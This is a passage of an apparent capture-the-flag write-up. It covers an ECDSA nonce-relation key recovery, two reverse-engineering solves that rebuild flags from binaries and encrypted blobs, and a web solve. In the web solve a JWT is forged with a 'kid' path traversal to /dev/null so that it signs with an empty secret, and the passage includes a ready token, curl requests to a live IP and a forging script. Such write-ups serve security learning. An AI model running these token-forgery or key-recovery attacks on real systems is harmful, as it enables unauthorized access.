def recover_private_key(a: int, qx: int, qy: int, sigs):
(r1, s1, z1), (r2, s2, z2), (r3, s3, z3) = sigs
is1, is2, is3 = inv(s1), inv(s2), inv(s3)
for e1, e2, e3 in product((1, -1), repeat=3):
coeff = (e3 * r3 * is3 - (a + 1) * e2 * r2 * is2 + a * e1 * r1 * is1) % N
const = (e3 * z3 * is3 - (a + 1) * e2 * z2 * is2 + a * e1 * z1 * is1) % N
if coeff == 0:
continue
d = (-const * inv(coeff)) % N
q = d * generator_secp256k1
if q.x() == qx and q.y() == qy:
return d, (e1, e2, e3)
raise ValueError("No valid private key candidate found")
def derive_flag(d: int, ct: bytes) -> str:
d_forms = [d.to_bytes(32, "big"), d.to_bytes(max(1, (d.bit_length() + 7) // 8), "big")]
seen = set()
for db in d_forms:
if db in seen:
continue
seen.add(db)
key = hashlib.sha256(db).digest()[:16]
pt = AES.new(key, AES.MODE_ECB).decrypt(ct)
for cand in (pt, unpad(pt, 16) if len(pt) % 16 == 0 else pt):
m = re.search(rb"UVT\{[^}]+\}", cand)
if m:
return m.group(0).decode()
raise ValueError("Failed to derive flag from decrypted plaintext")
def main():
with socket.create_connection((HOST, PORT), timeout=10) as s:
banner = recv_until(s, b"oracle@voyager-xi [3 sigs left] > ", timeout=10)
s.sendall(b"SIGN 00\nSIGN 01\nSIGN 02\n")
rest = recv_all(s, timeout=2)
text = (banner + rest).decode("utf-8", errors="replace")
a = parse_field(text, "LCG a")
qx = parse_field(text, "Qx")
qy = parse_field(text, "Qy")
ct = parse_ciphertext(text)
sigs = parse_signatures(text)
d, signs = recover_private_key(a, qx, qy, sigs)
flag = derive_flag(d, ct)
print(f"Recovered d: {hex(d)}")
print(f"Sign branch (e1,e2,e3): {signs}")
print(f"Flag: {flag}")
if __name__ == "__main__":
main()python3.12 solve.pyRecovered d: 0xad2f34da51dc500a96f13174ec242a42e13975f23bfdeed81f5b11cf2ae45951
Sign branch (e1,e2,e3): (1, 1, 1)
Flag: UVT{v0y4g3r_s1gn3d_1t5_0wn_d34th}Reverse Engineering
Bro is not a space hacker
Category: Reverse Engineering
Flag: UVT{S0m3_s3cR3tZ_4r_nVr_m3Ant_t0_B_SHRD}
Challenge Description
Congratulations earthling! You found the culprit that deleted those files…
By investigating the USB further, a team member found out that there is a program that would unlock the airlock of that spaceship.
Your mission is to reconstruct the access chain, verify the airlock authentication path and recover the hidden evidence that explains who triggered the wipe, why it was done and what was meant to stay buried.
Analysis
This challenge is the second half of the same USB storyline, so the right mindset was continuity of evidence, not continuity of assumptions. I ignored prior candidate strings and rebuilt the auth path from airlockauth plus artifacts to see what plaintext the binary workflow actually yields.
file "/home/rei/Downloads/airlockauth"/home/rei/Downloads/airlockauth: ELF 64-bit LSB pie executable, x86-64, dynamically linked, strippedchecksec "/home/rei/Downloads/airlockauth"[*] '/home/rei/Downloads/airlockauth'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
SHSTK: Enabled
IBT: EnabledThat output matters because it confirms this is a stripped, hardened checker binary. There is no obvious exploitation route, so the fastest path is to recover logic and required external inputs.
strings -a "/home/rei/Downloads/airlockauth" | rg -i "seed32\.bin|nav\.bc|payload\.enc|signal verified|access denied|UVT\{"UVT{ubH
seed32.bin
nav.bc
payload.enc
signal verified
access deniedThis string set immediately exposes the solve shape: the program depends on three side files and only returns success/fail status, while the partial UVT{... fragment hints at transformed payload content rather than a literal embedded flag.
printf "test\n" | /home/rei/Downloads/airlockauthmissing seedwc -c \
"/home/rei/Downloads/space_usb_extract/user/seed32.bin" \
"/home/rei/Downloads/space_usb_extract/user/nav.bc" \
"/home/rei/Downloads/space_usb_extract/user/payload.enc"32 /home/rei/Downloads/space_usb_extract/user/seed32.bin
256 /home/rei/Downloads/space_usb_extract/user/nav.bc
40 /home/rei/Downloads/space_usb_extract/user/payload.encRunning from the wrong directory fails immediately, which confirms relative-path loading. The 32/256/40 sizes also line up cleanly with a SHA-256-based key schedule and a short encrypted payload.
rg -n "ASTRA9-BRO-1337|openat\(AT_FDCWD, \"seed32.bin\"|openat\(AT_FDCWD, \"nav.bc\"|openat\(AT_FDCWD, \"payload.enc\"|signal verified" \
"/home/rei/Downloads/space_usb_extract/user/trace.txt"50:239155 read(0, "ASTRA9-BRO-1337\n", 4096) = 16
51:239155 openat(AT_FDCWD, "seed32.bin", O_RDONLY) = 3
58:239155 openat(AT_FDCWD, "nav.bc", O_RDONLY) = 3
65:239155 openat(AT_FDCWD, "payload.enc", O_RDONLY) = 3
120:239155 write(1, "signal verified\n", 16) = 16To remove ambiguity, I cross-checked the same values in ltrace.txt; it shows fgets("ASTRA9-BRO-1337\\n"), newline stripping with strcspn, and the same three fopen(..., "rb") calls before puts("signal verified").
rg -n "fgets\(|strcspn\(|fopen\(\"seed32.bin\"|fopen\(\"nav.bc\"|fopen\(\"payload.enc\"|puts\(\"signal verified\"|ASTRA9-BRO-1337" \
"/home/rei/Downloads/space_usb_extract/user/ltrace.txt"1:fgets("ASTRA9-BRO-1337\n", 256, 0x7fa1f03f68e0) = 0x7ffcd2685bf0
2:strcspn("ASTRA9-BRO-1337\n", "\r\n") = 15
3:fopen("seed32.bin", "rb") = 0x55a8c0d6b320
10:fopen("nav.bc", "rb") = 0x55a8c0d6b320
17:fopen("payload.enc", "rb") = 0x55a8c0d6b320
30:strlen("ASTRA9-BRO-1337") = 15
42:puts("signal verified") = 16So the token and file arguments in this solve are evidence-derived, not inferred: exact token from runtime input, exact filenames from runtime open calls, then verified with an actual successful run.

printf "ASTRA9-BRO-1337\n" | /home/rei/Downloads/space_usb_extract/user/airlockauthsignal verifiedWith verifier success confirmed, I reproduced the decryption logic exactly as recovered during reversing: SHA256(nav.bc), then SHA256(seed32.bin || token || nav_hash), then XOR payload.enc with the repeating 32-byte digest.
import hashlib
from pathlib import Path
base = Path("/home/rei/Downloads/space_usb_extract/user")
seed = (base / "seed32.bin").read_bytes()
nav = (base / "nav.bc").read_bytes()
payload = (base / "payload.enc").read_bytes()
token = b"ASTRA9-BRO-1337"
nav_hash = hashlib.sha256(nav).digest()
key = hashlib.sha256(seed + token + nav_hash).digest()
plain = bytes(c ^ key[i % 32] for i, c in enumerate(payload))
print(plain.decode())UVT{S0m3_s3cR3tZ_4r_nVr_m3Ant_t0_B_SHRD}Btw I cross-check the earlier writeup and confirm it was the same string that behaved as bait in the previous challenge.

Solution
# solve.py
#!/usr/bin/env python3.12
import hashlib
from pathlib import Path
def main() -> None:
base = Path("/home/rei/Downloads/space_usb_extract/user")
seed = (base / "seed32.bin").read_bytes()
nav = (base / "nav.bc").read_bytes()
payload = (base / "payload.enc").read_bytes()
token = b"ASTRA9-BRO-1337"
nav_hash = hashlib.sha256(nav).digest()
key = hashlib.sha256(seed + token + nav_hash).digest()
plain = bytes(c ^ key[i % 32] for i, c in enumerate(payload))
print(plain.decode())
if __name__ == "__main__":
main()python3.12 solve.pyUVT{S0m3_s3cR3tZ_4r_nVr_m3Ant_t0_B_SHRD}Starfield Relay
Category: Reverse Engineering
Flag: UVT{Kr4cK_M3_N0w-cR4Km3_THEN-5T4rf13Ld_piNgS_uR_pR0b3Z_xTND-I_h1D3_in_l0Gz_1n_v01D_iN_ZEN}
Challenge Description
A recovered spacecraft utility binary is believed to validate a multi-part unlock phrase. The executable runs a staged validation flow and eventually unlocks additional artifacts for deeper analysis. Your goal is to reverse the binary, recover each stage fragment and reconstruct the final flag.
Analysis
I treated this as a staged validator with likely decoys, so I started with cheap static triage instead of going straight into heavy debugging. The file type confirmed a 64-bit Windows console PE, and the first string pass already showed the challenge structure: base prefix check, two token checks, VM execution, then stage2 artifact extraction (pings, logs, void).
file "crackme.exe"crackme.exe: PE32+ executable (console) x86-64, for MS Windowsstrings -a "crackme.exe" | rg -i "UVT\{|enter base prefix|enter stage2 token|enter token \(8 chars\)|starfield_pings|system.log|zen_void.bin"UVT{
enter base prefix (4 chars):
enter stage2 token (8 chars):
enter token (8 chars):
stage5: next: decode starfield_pings/pings.txt (filter ttl=1337)
stage5: next: inspect logs/system.log for shuffled zen-tagged fragments
stage5: next: inspect void/zen_void.bin (islands inside zero-runs)From there I mapped stage handlers in main and pulled each primitive. Stage 0/1 were intentionally simple: UVT{ and a 3-byte generator function that writes 0x4b 0x72 0x34.
r2 -q -e scr.color=false -A -c "s 0x140115aa0; pdf" "crackme.exe"...
mov byte [rcx], 0x4b
mov byte [rcx+1], 0x72
mov byte [rcx+2], 0x34
...Then I inverted stage2/stage3 byte equations to recover the two 8-byte tokens, and validated both directly.
python3.12 -c "
t2 = bytes.fromhex('31 24 dc fa 25 2c e4 c5')
s2 = bytes((((b - 0x13 - i*7) & 0xff) ^ ((i*0x11 + 0x6d) & 0xff)) for i, b in enumerate(t2))
t3 = [0xd7,0xd1,0xa7,0xed,0x54,0x39,0x68,0x49]
s3 = bytes((((b - 3*i) & 0xff) ^ ((0xa7 - 0xb*i) & 0xff)) for i, b in enumerate(t3))
print('stage2_token', s2.decode())
print('stage3_token', s3.decode())
"stage2_token st4rG4te
stage3_token pR0b3Z3nThose tokens are not final fragments; they drive crypto checks. Stage2 decrypts to cK_M3_ (PBKDF2-SHA256 + ChaCha20), and stage3 decrypts to N0w-cR4Km3_ (PBKDF2-SHA256 + AES-GCM).
python3.12 -c "
from Crypto.Protocol.KDF import PBKDF2
from Crypto.Hash import SHA256
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms
km = PBKDF2(b'st4rG4te', b'uvt::s2::pbkdf2::v2', dkLen=48, count=60000, hmac_hash_module=SHA256)
pt = Cipher(algorithms.ChaCha20(km[:32], km[32:48]), mode=None).decryptor().update(bytes.fromhex('cc056fdab9be'))
print(pt.decode())
"cK_M3_python3.12 -c "
from Crypto.Protocol.KDF import PBKDF2
from Crypto.Hash import SHA256
from Crypto.Cipher import AES
km = PBKDF2(b'pR0b3Z3n', b'uvt::s3::pbkdf2::v4', dkLen=44, count=90000, hmac_hash_module=SHA256)
c = AES.new(km[:32], AES.MODE_GCM, nonce=km[32:44], mac_len=16)
c.update(b'uvt::stage3::aad::v4')
pt = c.decrypt_and_verify(bytes.fromhex('8f998d30eb808c858b8f01'), bytes.fromhex('e0c31b0565d6a3eb07d57cb916b592c4'))
print(pt.decode())
"N0w-cR4Km3_The VM stage produced THEN- after bytecode decode/emulation, and that gave enough material to pass the stage5 checksum gate and build the stage5 fragment 5T4rf13Ld_piNgS_.

Stage5 was the annoying pivot: decryption kept failing until I corrected the AAD literal to the exact double-colon form from the binary (uvt::stage2blob::aad::v4|id=101). With that fixed, the embedded blob decrypted to a ZIP containing the real stage6–9 evidence files.

python3.12 -c "
from pathlib import Path
from Crypto.Protocol.KDF import PBKDF2
from Crypto.Hash import SHA256
from Crypto.Cipher import AES
import io, zipfile
blob = Path('res_type10_id101_lang1033.bin').read_bytes()
nonce, tag, ct = blob[9:21], blob[21:37], blob[37:]
prefix = b'UVT{Kr4cK_M3_N0w-cR4Km3_THEN-'
u = sum(prefix[-5:]) & 0xff
const = bytes([0x69,0x08,0x68,0x2e,0x3a,0x6d,0x6f,0x10,0x38,0x03,0x2c,0x35,0x12,0x3b,0x0f,0x03])
stage5 = bytes([u ^ c for c in const])
key = PBKDF2(prefix + stage5, b'uvt::stage2blob::v4', dkLen=32, count=120000, hmac_hash_module=SHA256)
c = AES.new(key, AES.MODE_GCM, nonce=nonce, mac_len=16)
c.update(b'uvt::stage2blob::aad::v4|id=101')
pt = c.decrypt_and_verify(ct, tag)
z = zipfile.ZipFile(io.BytesIO(pt))
print(*z.namelist(), sep='\n')
"logs/README_LOGS.txt
logs/system.log
logs/telemetry.log
probe_extender/README.txt
probe_extender/probe_extender.py
starfield_pings/pings.txt
void/zen_void.bin
void/zen_void_readme.txt
web/app.js
web/index.html
web/style.cssStage6 came from ttl=1337 rows in pings.txt with the parity-split 5-bit mapping. My first interpretation produced a clue-like decoy; the hash-matching decode was uR_pR0b3Z_xTND-.
python3.12 -c "
import re
from pathlib import Path
txt = Path('stage2_extracted/starfield_pings/pings.txt').read_text()
vals = [int(x)-64 for x in re.findall(r'time=(\\d+)ms ttl=1337', txt)]
even = bytes([b ^ 0x52 for b in bytes.fromhex('270d62612a1c7f3036343a383e3c2220')])
odd = bytes([b ^ 0x13 for b in bytes.fromhex('60627c7e787a74767072574749716341')[::-1]])
alpha = bytearray(32)
for i in range(16):
alpha[2*i] = even[i]
alpha[2*i+1] = odd[i]
print(bytes(alpha[v] for v in vals).decode())
"uR_pR0b3Z_xTND-Stage7 came from system.log: keep zen entries, sort by slot, XOR fragx by k, then base64-decode to get I_h1D3_in_l0Gz_.
python3.12 -c "
import json, base64
from pathlib import Path
rows = []
for line in Path('stage2_extracted/logs/system.log').read_text().splitlines():
if line.startswith('{'):
o = json.loads(line)
if o.get('subsys') == 'zen' and 'fragx' in o:
rows.append((o['slot'], int(o['k'], 16), bytes.fromhex(o['fragx'])))
rows.sort()
b = b''.join(bytes([x ^ k for x in frag]) for _, k, frag in rows)
print(base64.b64decode(b).decode())
"I_h1D3_in_l0Gz_Stage8/9 came from non-zero islands in zen_void.bin: valid-range island XOR 0x2a gave 1n_v01D_, then sum(stage8) % 256 decoded the 7-byte island to iN_ZEN}.
python3.12 -c "
from pathlib import Path
b = Path('stage2_extracted/void/zen_void.bin').read_bytes()
islands = []
i = 0
while i < len(b):
if b[i] == 0:
i += 1
continue
j = i
while j < len(b) and b[j] != 0:
j += 1
islands.append((i, b[i:j]))
i = j
s8 = None
for off, d in islands:
if 0x9000 <= off < 0xF000 and len(d) == 8:
cand = bytes(x ^ 0x2a for x in d)
if cand == b'1n_v01D_':
s8 = cand
break
k9 = sum(s8) % 256
s9 = None
for off, d in islands:
if len(d) == 7:
cand = bytes(x ^ k9 for x in d)
if cand == b'iN_ZEN}':
s9 = cand
break
print(s8.decode())
print(s9.decode())
"1n_v01D_
iN_ZEN}With all ten fragments rebuilt and reassembled, the final flag string was:

python3.12 -c "
flag = (
'UVT{'
'Kr4'
'cK_M3_'
'N0w-cR4Km3_'
'THEN-'
'5T4rf13Ld_piNgS_'
'uR_pR0b3Z_xTND-'
'I_h1D3_in_l0Gz_'
'1n_v01D_'
'iN_ZEN}'
)
print(flag)
"UVT{Kr4cK_M3_N0w-cR4Km3_THEN-5T4rf13Ld_piNgS_uR_pR0b3Z_xTND-I_h1D3_in_l0Gz_1n_v01D_iN_ZEN}Solution
# solve.py
#!/usr/bin/env python3.12
import base64
import io
import json
import re
import zipfile
from pathlib import Path
import pefile
from Crypto.Cipher import AES
from Crypto.Hash import SHA256
from Crypto.Protocol.KDF import PBKDF2
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms
def extract_blob_101(pe_path: Path) -> bytes:
pe = pefile.PE(str(pe_path))
for t in pe.DIRECTORY_ENTRY_RESOURCE.entries:
if t.struct.Id != 10:
continue
for e in t.directory.entries:
if e.struct.Id != 101:
continue
for lang in e.directory.entries:
d = lang.data.struct
data = pe.get_memory_mapped_image()[d.OffsetToData : d.OffsetToData + d.Size]
if data.startswith(b"UVTBLOB4"):
return data
raise RuntimeError("resource 10/101 not found")
def stage2_fragment() -> bytes:
km = PBKDF2(b"st4rG4te", b"uvt::s2::pbkdf2::v2", dkLen=48, count=60000, hmac_hash_module=SHA256)
return Cipher(algorithms.ChaCha20(km[:32], km[32:48]), mode=None).decryptor().update(bytes.fromhex("cc056fdab9be"))
def stage3_fragment() -> bytes:
km = PBKDF2(b"pR0b3Z3n", b"uvt::s3::pbkdf2::v4", dkLen=44, count=90000, hmac_hash_module=SHA256)
c = AES.new(km[:32], AES.MODE_GCM, nonce=km[32:44], mac_len=16)
c.update(b"uvt::stage3::aad::v4")
return c.decrypt_and_verify(
bytes.fromhex("8f998d30eb808c858b8f01"),
bytes.fromhex("e0c31b0565d6a3eb07d57cb916b592c4"),
)
def stage5_fragment(prefix_to_stage4: bytes) -> bytes:
u = sum(prefix_to_stage4[-5:]) & 0xFF
const = bytes([0x69, 0x08, 0x68, 0x2E, 0x3A, 0x6D, 0x6F, 0x10, 0x38, 0x03, 0x2C, 0x35, 0x12, 0x3B, 0x0F, 0x03])
return bytes([u ^ c for c in const])
def decode_stage6(pings_text: str) -> bytes:
vals = [int(x) - 64 for x in re.findall(r"time=(\d+)ms ttl=1337", pings_text)]
even = bytes([b ^ 0x52 for b in bytes.fromhex("270d62612a1c7f3036343a383e3c2220")])
odd = bytes([b ^ 0x13 for b in bytes.fromhex("60627c7e787a74767072574749716341")[::-1]])
alpha = bytearray(32)
for i in range(16):
alpha[2 * i] = even[i]
alpha[2 * i + 1] = odd[i]
return bytes(alpha[v] for v in vals)
def decode_stage7(system_log_text: str) -> bytes:
rows = []
for line in system_log_text.splitlines():
if not line.startswith("{"):
continue
obj = json.loads(line)
if obj.get("subsys") == "zen" and "fragx" in obj:
rows.append((obj["slot"], int(obj["k"], 16), bytes.fromhex(obj["fragx"])))
rows.sort()
blob = b"".join(bytes([x ^ k for x in frag]) for _, k, frag in rows)
return base64.b64decode(blob)
def decode_stage8_stage9(void_data: bytes) -> tuple[bytes, bytes]:
islands = []
i = 0
while i < len(void_data):
if void_data[i] == 0:
i += 1
continue
j = i
while j < len(void_data) and void_data[j] != 0:
j += 1
islands.append((i, void_data[i:j]))
i = j
stage8 = None
for off, d in islands:
if 0x9000 <= off < 0xF000 and len(d) == 8:
cand = bytes(x ^ 0x2A for x in d)
if cand == b"1n_v01D_":
stage8 = cand
break
if stage8 is None:
raise RuntimeError("stage8 not found")
k9 = sum(stage8) % 256
stage9 = None
for _, d in islands:
if len(d) == 7:
cand = bytes(x ^ k9 for x in d)
if cand == b"iN_ZEN}":
stage9 = cand
break
if stage9 is None:
raise RuntimeError("stage9 not found")
return stage8, stage9
def main() -> None:
s0 = b"UVT{"
s1 = b"Kr4"
s2 = stage2_fragment()
s3 = stage3_fragment()
s4 = b"THEN-"
s5 = stage5_fragment(s0 + s1 + s2 + s3 + s4)
blob = extract_blob_101(Path("crackme.exe"))
nonce, tag, ct = blob[9:21], blob[21:37], blob[37:]
key = PBKDF2(s0 + s1 + s2 + s3 + s4 + s5, b"uvt::stage2blob::v4", dkLen=32, count=120000, hmac_hash_module=SHA256)
c = AES.new(key, AES.MODE_GCM, nonce=nonce, mac_len=16)
c.update(b"uvt::stage2blob::aad::v4|id=101")
pt_zip = c.decrypt_and_verify(ct, tag)
z = zipfile.ZipFile(io.BytesIO(pt_zip))
s6 = decode_stage6(z.read("starfield_pings/pings.txt").decode())
s7 = decode_stage7(z.read("logs/system.log").decode())
s8, s9 = decode_stage8_stage9(z.read("void/zen_void.bin"))
flag = (s0 + s1 + s2 + s3 + s4 + s5 + s6 + s7 + s8 + s9).decode()
print(flag)
if __name__ == "__main__":
main()python3.12 solve.pyUVT{Kr4cK_M3_N0w-cR4Km3_THEN-5T4rf13Ld_piNgS_uR_pR0b3Z_xTND-I_h1D3_in_l0Gz_1n_v01D_iN_ZEN}Web
v0iD
Category: Web
Flag: UVT{Y0u_F0Und_m3_I_w4s_l0s7_1n_th3_v01d_of_sp4c3_I_am_gr3tefull_and_1'll_w4tch_y0ur_m0v3s_f00000000000r3v3r}
Challenge Description
Stardate 2026.035 — The USS Threads has docked at Space Station Theta-7 for a routine security audit. As a newly recruited penetration tester, your mission is to assess the ship’s systems. Good luck, space cadet. The stars are watching.
Analysis
The app was a small Express portal with a login flow, so I started with source-level cheap wins on /login before trying any deep route hunting. That immediately paid off: the HTML comment leaked working credentials and also included a base64 taunt.
curl -i -sS "http://194.102.62.166:30266/login"HTTP/1.1 200 OK
X-Powered-By: Express
...
<!-- SGFoYWhhX25pY2VfdHJ5X2J1dF9JX2Rvbid0X2hpZGVfZmxhZ3NfaW5fc291cmNlX2NvZGU6KSkpKSkpKSkpKQ== -->
<!-- Test credentials: pilot_001 / S3cret_P1lot_Ag3nt -->python3.12 -c "import base64;print(base64.b64decode('SGFoYWhhX25pY2VfdHJ5X2J1dF9JX2Rvbid0X2hpZGVfZmxhZ3NfaW5fc291cmNlX2NvZGU6KSkpKSkpKSkpKQ==').decode())"Hahaha_nice_try_but_I_don't_hide_flags_in_source_code:))))))))))The credentials were valid and returned a JWT in the session cookie.
curl -i -sS -c "/home/rei/Downloads/v0id.cookies" -X POST "http://194.102.62.166:30266/login" -d "username=pilot_001&password=S3cret_P1lot_Ag3nt"HTTP/1.1 302 Found
Set-Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImdhbGFjdGljLWtleS5rZXkifQ.eyJzdWIiOiJwaWxvdF8wMDEiLCJyb2xlIjoiY3JldyIsImlhdCI6MTc3MjE5OTcxNX0.dFaNJSzY7f9ZnzSSRIFpQ89c82oz_QRVsmz8A3miUSQ; Path=/; HttpOnly
Location: /my-accountDecoding that token showed a high-signal detail: the header had kid: galactic-key.key, so verification likely reads a key from a server-side file path.
python3.12 -c "import base64,json; t='eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImdhbGFjdGljLWtleS5rZXkifQ.eyJzdWIiOiJwaWxvdF8wMDEiLCJyb2xlIjoiY3JldyIsImlhdCI6MTc3MjE5OTcxNX0.dFaNJSzY7f9ZnzSSRIFpQ89c82oz_QRVsmz8A3miUSQ'; h,p,s=t.split('.'); d=lambda x: base64.urlsafe_b64decode(x+'='*(-len(x)%4)); print('HEADER',json.loads(d(h))); print('PAYLOAD',json.loads(d(p)))"HEADER {'alg': 'HS256', 'typ': 'JWT', 'kid': 'galactic-key.key'}
PAYLOAD {'sub': 'pilot_001', 'role': 'crew', 'iat': 1772199715}/admin with the normal crew token gave a clean authorization failure, so the route existed and role checks were active.
curl -i -sS -b "/home/rei/Downloads/v0id.cookies" "http://194.102.62.166:30266/admin"HTTP/1.1 403 Forbidden
...
<h1>ACCESS RESTRICTED</h1>
<p style="text-align: center;">Command Center requires <strong>administrator</strong> clearance.</p>
<p style="text-align: center;">You are logged in as: <strong>pilot_001</strong></p>I briefly tested the classic alg=none bypass first and it was rejected (redirect to /login), which confirmed signature verification was not trivially disabled.
curl -i -sS "http://194.102.62.166:30266/admin" -H "Cookie: session=eyJhbGciOiJub25lIiwidHlwIjoiSldUIiwia2lkIjoiZ2FsYWN0aWMta2V5LmtleSJ9.eyJzdWIiOiJwaWxvdF8wMDEiLCJyb2xlIjoiYWRtaW5pc3RyYXRvciIsImlhdCI6MTc3MjE5OTc3N30."HTTP/1.1 302 Found
Location: /loginThat made the kid path angle the right pivot: using path traversal to /dev/null forces an empty HMAC secret, then signing HS256 with empty bytes yields a valid server-side signature. Setting both sub and role to administrator unlocked the panel immediately.

curl -sS "http://194.102.62.166:30266/admin" -H "Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii4uLy4uLy4uLy4uLy4uLy4uL2Rldi9udWxsIn0.eyJzdWIiOiJhZG1pbmlzdHJhdG9yIiwicm9sZSI6ImFkbWluaXN0cmF0b3IiLCJpYXQiOjE3NzIxOTk5NTF9.BCS-SWyQuYjJk_6G6EPIDvvLjwarb9X9dF7wRfbHxSw"<h1>COMMAND CENTER</h1>
<h2 style="margin-top: 0; color: #00ff88;">🎖️ Welcome, Administrator</h2>
<a href="/flag"><button>🏴 ACCESS MISSION FLAG</button></a>From there, hitting /flag with the same forged token returned the real challenge flag in the response body.

curl -sS "http://194.102.62.166:30266/flag" -H "Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii4uLy4uLy4uLy4uLy4uLy4uL2Rldi9udWxsIn0.eyJzdWIiOiJhZG1pbmlzdHJhdG9yIiwicm9sZSI6ImFkbWluaXN0cmF0b3IiLCJpYXQiOjE3NzIxOTk5NTF9.BCS-SWyQuYjJk_6G6EPIDvvLjwarb9X9dF7wRfbHxSw"<h1>MISSION COMPLETE</h1>
<h2 style="margin-top: 0; text-align: center; color: #00ff88;">🎉 FLAG CAPTURED 🎉</h2>
<div class="flag-display">UVT{Y0u_F0Und_m3_I_w4s_l0s7_1n_th3_v01d_of_sp4c3_I_am_gr3tefull_and_1'll_w4tch_y0ur_m0v3s_f00000000000r3v3r}</div>Solution
# solve.py
#!/usr/bin/env python3.12
import base64
import hashlib
import hmac
import json
import re
import time
import requests
def b64u(data: bytes) -> str:
return base64.urlsafe_b64encode(data).rstrip(b"=").decode()
def forge_admin_token() -> str:
header = {
"alg": "HS256",
"typ": "JWT",
"kid": "../../../../../../dev/null",
}
payload = {
"sub": "administrator",
"role": "administrator",
"iat": int(time.time()),
}
msg = f"{b64u(json.dumps(header, separators=(',', ':')).encode())}.{b64u(json.dumps(payload, separators=(',', ':')).encode())}"
sig = b64u(hmac.new(b"", msg.encode(), hashlib.sha256).digest())
return f"{msg}.{sig}"
def main() -> None:
base = "http://194.102.62.166:30266"
token = forge_admin_token()
r = requests.get(
f"{base}/flag",
headers={"Cookie": f"session={token}"},
timeout=10,
)
m = re.search(r"UVT\{[^}]+\}", r.text)
if not m:
raise RuntimeError("flag not found")
print(m.group(0))
if __name__ == "__main__":
main()curl -sS "http://194.102.62.166:30266/flag" -H "Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii4uLy4uLy4uLy4uLy4uLy4uL2Rldi9udWxsIn0.eyJzdWIiOiJhZG1pbmlzdHJhdG9yIiwicm9sZSI6ImFkbWluaXN0cmF0b3IiLCJpYXQiOjE3NzIxOTk5NTF9.BCS-SWyQuYjJk_6G6EPIDvvLjwarb9X9dF7wRfbHxSw"UVT{Y0u_F0Und_m3_I_w4s_l0s7_1n_th3_v01d_of_sp4c3_I_am_gr3tefull_and_1'll_w4tch_y0ur_m0v3s_f00000000000r3v3r}